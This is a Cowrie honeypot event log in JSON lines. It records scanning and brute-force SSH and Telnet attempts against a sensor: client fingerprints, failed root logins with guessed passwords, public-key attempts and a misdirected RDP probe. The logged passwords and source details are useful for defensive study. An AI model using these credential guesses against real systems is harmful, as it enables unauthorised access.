{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:42.541052Z","src_ip":"89.108.118.91","session":"b487c8c33994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avalon","message":"login attempt [root/avalon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:43.068968Z","src_ip":"89.108.118.91","session":"b487c8c33994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:44.206045Z","src_ip":"89.108.118.91","session":"b487c8c33994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:48:47.453262Z","src_ip":"163.53.168.23","session":"5e3a707bbb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00654697418213,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.249435Z","src_ip":"152.42.224.71","session":"a98953b650fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":45814,"dst_ip":"10.17.0.5","dst_port":22,"session":"32260040a8c1","protocol":"ssh","message":"New connection: 103.77.242.62:45814 (10.17.0.5:22) [session: 32260040a8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.277221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.282549Z","src_ip":"103.77.242.62","session":"32260040a8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.522658Z","src_ip":"103.77.242.62","session":"32260040a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":59654,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1eaa37d212a","protocol":"ssh","message":"New connection: 163.53.168.23:59654 (10.17.0.5:22) [session: c1eaa37d212a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.744207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:11.749228Z","src_ip":"163.53.168.23","session":"c1eaa37d212a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:12.076983Z","src_ip":"163.53.168.23","session":"c1eaa37d212a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5230","message":"login attempt [root/nokia5230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:12.247213Z","src_ip":"103.77.242.62","session":"32260040a8c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"muieromania1234","message":"login attempt [root/muieromania1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:13.011030Z","src_ip":"163.53.168.23","session":"c1eaa37d212a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:13.491695Z","src_ip":"103.77.242.62","session":"32260040a8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d0ad2b6d0bc","protocol":"telnet","message":"New connection: 152.42.224.71:54338 (10.17.0.5:23) [session: 7d0ad2b6d0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:16.701780Z"}
{"eventid":"cowrie.session.closed","duration":41.26478958129883,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:19.444173Z","src_ip":"152.42.224.71","session":"4d86dfdfbd30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54340,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d95cf4332c9","protocol":"telnet","message":"New connection: 152.42.224.71:54340 (10.17.0.5:23) [session: 9d95cf4332c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:21.063848Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54342,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e32886d06f2","protocol":"telnet","message":"New connection: 152.42.224.71:54342 (10.17.0.5:23) [session: 7e32886d06f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:21.935807Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47294,"dst_ip":"10.17.0.5","dst_port":23,"session":"392aa22e3866","protocol":"telnet","message":"New connection: 152.42.224.71:47294 (10.17.0.5:23) [session: 392aa22e3866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:28.482817Z"}
{"eventid":"cowrie.session.closed","duration":120.00535655021667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:33.299667Z","src_ip":"152.42.224.71","session":"3128dae8bfd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.89225101470947,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:35.076047Z","src_ip":"152.42.224.71","session":"1677f07f2d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56308,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5660c4e5e66","protocol":"telnet","message":"New connection: 152.42.224.71:56308 (10.17.0.5:23) [session: f5660c4e5e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:46.099754Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63244,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8c94642e4f","protocol":"ssh","message":"New connection: 167.172.81.52:63244 (159.203.135.109:22) [session: 1f8c94642e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:47.874087Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:47.942111Z","src_ip":"167.172.81.52","session":"1f8c94642e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:47.947143Z","src_ip":"167.172.81.52","session":"1f8c94642e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.302713632583618,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:48.238424Z","src_ip":"152.42.224.71","session":"7e32886d06f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56324,"dst_ip":"10.17.0.5","dst_port":23,"session":"24e4a877ff7c","protocol":"telnet","message":"New connection: 152.42.224.71:56324 (10.17.0.5:23) [session: 24e4a877ff7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:49.365842Z"}
{"eventid":"cowrie.session.closed","duration":36.14821195602417,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:49:52.849877Z","src_ip":"152.42.224.71","session":"7d0ad2b6d0bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.67255401611328,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:09.736287Z","src_ip":"152.42.224.71","session":"9d95cf4332c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.59951686859131,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:15.082207Z","src_ip":"152.42.224.71","session":"392aa22e3866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.296979904174805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:23.662680Z","src_ip":"152.42.224.71","session":"24e4a877ff7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":46292,"dst_ip":"10.17.0.5","dst_port":22,"session":"78ae568ea460","protocol":"ssh","message":"New connection: 43.134.184.253:46292 (10.17.0.5:22) [session: 78ae568ea460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:29.665645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:29.670378Z","src_ip":"43.134.184.253","session":"78ae568ea460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:29.908478Z","src_ip":"43.134.184.253","session":"78ae568ea460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dir","message":"login attempt [root/dir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:30.891617Z","src_ip":"43.134.184.253","session":"78ae568ea460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:32.132655Z","src_ip":"43.134.184.253","session":"78ae568ea460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.8592414855957,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:33.958840Z","src_ip":"152.42.224.71","session":"f5660c4e5e66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5ad0c70b37f","protocol":"ssh","message":"New connection: 78.111.67.246:33186 (10.17.0.5:22) [session: f5ad0c70b37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:44.678660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:44.684430Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:44.775829Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:d6:e4:91:92:5b:94:e4:09:10:ec:ef:3c:01:77:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr8opv28QESBpRWr2ssgxMcuVQsFkwBvuxKifhDjU2Wu3SXxLfwBQ4KF9dJGYFk3oEZHBvlvAgU/TgdGmvA1EBZOWMfZuPgHQ9jdj6cuWAA5jsIgAFvqs9pzdHqceGbaPhIq9DN0lGNHWmjU8ijG4cdedo+4cMaEK7u+XfuVA8yBYSqfwyhS0RHzt5MXuGGjEMTAujepOGknmxG7CXEJ52sWwNiCJQe7tely2vQHl8KHhxa9pVOBqYnVmeVIpZmcZAPnokN5eo0VDTrDMaxDHrIOdlKVvZrCAjLDIKjzBCHfc1U+yFStHLKq8bEOPRcHMgIn3j4cSoZf2Ps2YJh/lN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:d6:e4:91:92:5b:94:e4:09:10:ec:ef:3c:01:77:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.213140Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:d6:e4:91:92:5b:94:e4:09:10:ec:ef:3c:01:77:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr8opv28QESBpRWr2ssgxMcuVQsFkwBvuxKifhDjU2Wu3SXxLfwBQ4KF9dJGYFk3oEZHBvlvAgU/TgdGmvA1EBZOWMfZuPgHQ9jdj6cuWAA5jsIgAFvqs9pzdHqceGbaPhIq9DN0lGNHWmjU8ijG4cdedo+4cMaEK7u+XfuVA8yBYSqfwyhS0RHzt5MXuGGjEMTAujepOGknmxG7CXEJ52sWwNiCJQe7tely2vQHl8KHhxa9pVOBqYnVmeVIpZmcZAPnokN5eo0VDTrDMaxDHrIOdlKVvZrCAjLDIKjzBCHfc1U+yFStHLKq8bEOPRcHMgIn3j4cSoZf2Ps2YJh/lN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.217726Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:31:c6:35:38:6b:d9:c5:a7:51:1b:ba:c8:16:74:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs0J5BMBZWu/1StUUv1Un0xawaLwBah9F4/P6JPLjZKCNcZLyw2JN4UbniIS00Jb7TBcGAiKbovE2nc+cohT17fUNShuHmyedAec33cMcDSaCacmYfSKa9gGALQQ2ZhdgJZ3fCBpWHM3MMeg97Q9HZ+T5Kw1Cl4+BUPiNI9WOEHE77K4PgrNAfW+wBuTGrA2uPln7GxsrnQAgxesFAVVBRVsla6mySJh2WCKnxLLybL2ya5MOka5azzMWKakpWq2DOkKY4N2uf1qsumya67RlpzNLDrDptQOlbHym+XME11Px0i9lghNmPyOSegS5bCwFgYesnRiJItZt50bCEB2D/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:31:c6:35:38:6b:d9:c5:a7:51:1b:ba:c8:16:74:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.311474Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:31:c6:35:38:6b:d9:c5:a7:51:1b:ba:c8:16:74:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs0J5BMBZWu/1StUUv1Un0xawaLwBah9F4/P6JPLjZKCNcZLyw2JN4UbniIS00Jb7TBcGAiKbovE2nc+cohT17fUNShuHmyedAec33cMcDSaCacmYfSKa9gGALQQ2ZhdgJZ3fCBpWHM3MMeg97Q9HZ+T5Kw1Cl4+BUPiNI9WOEHE77K4PgrNAfW+wBuTGrA2uPln7GxsrnQAgxesFAVVBRVsla6mySJh2WCKnxLLybL2ya5MOka5azzMWKakpWq2DOkKY4N2uf1qsumya67RlpzNLDrDptQOlbHym+XME11Px0i9lghNmPyOSegS5bCwFgYesnRiJItZt50bCEB2D/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.315837Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:b2:d9:d1:d7:8d:29:2c:25:ac:1f:4b:32:2a:27:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxUvUlE8zUtZuBBFVTFgJhDY5Vm7d91Q/Dc7escD3Xd/hP6w/53MQZM43OD5BQ8akv3gr1lnRON39pw5Cyslb1qK1McNPjQdtPoSUEFyxkr1DNtJOw+rYwEiHWdoC1+MABFRf0yHJF6vM4tYJ+kE4+z8xvXzU1WESM6X4vAsAQdb1YjR0JZbBTFKFCdJu5iuAJ2zxmC3k//t2/k3b1LcvxlbFa4Jf45ucmV+kRN+JatunVhHKMcyURbNZRdyXL+g4wNTZrMR87fE1S3xbiXF0K7WnRV6/GshL5qWi/s0/37lmmtCRcquavL5GPReYPD7DfWrcZ030wOQ9bWQ6BglgPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:b2:d9:d1:d7:8d:29:2c:25:ac:1f:4b:32:2a:27:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:50:45.408589Z","src_ip":"78.111.67.246","session":"f5ad0c70b37f","protocol":"ssh"}
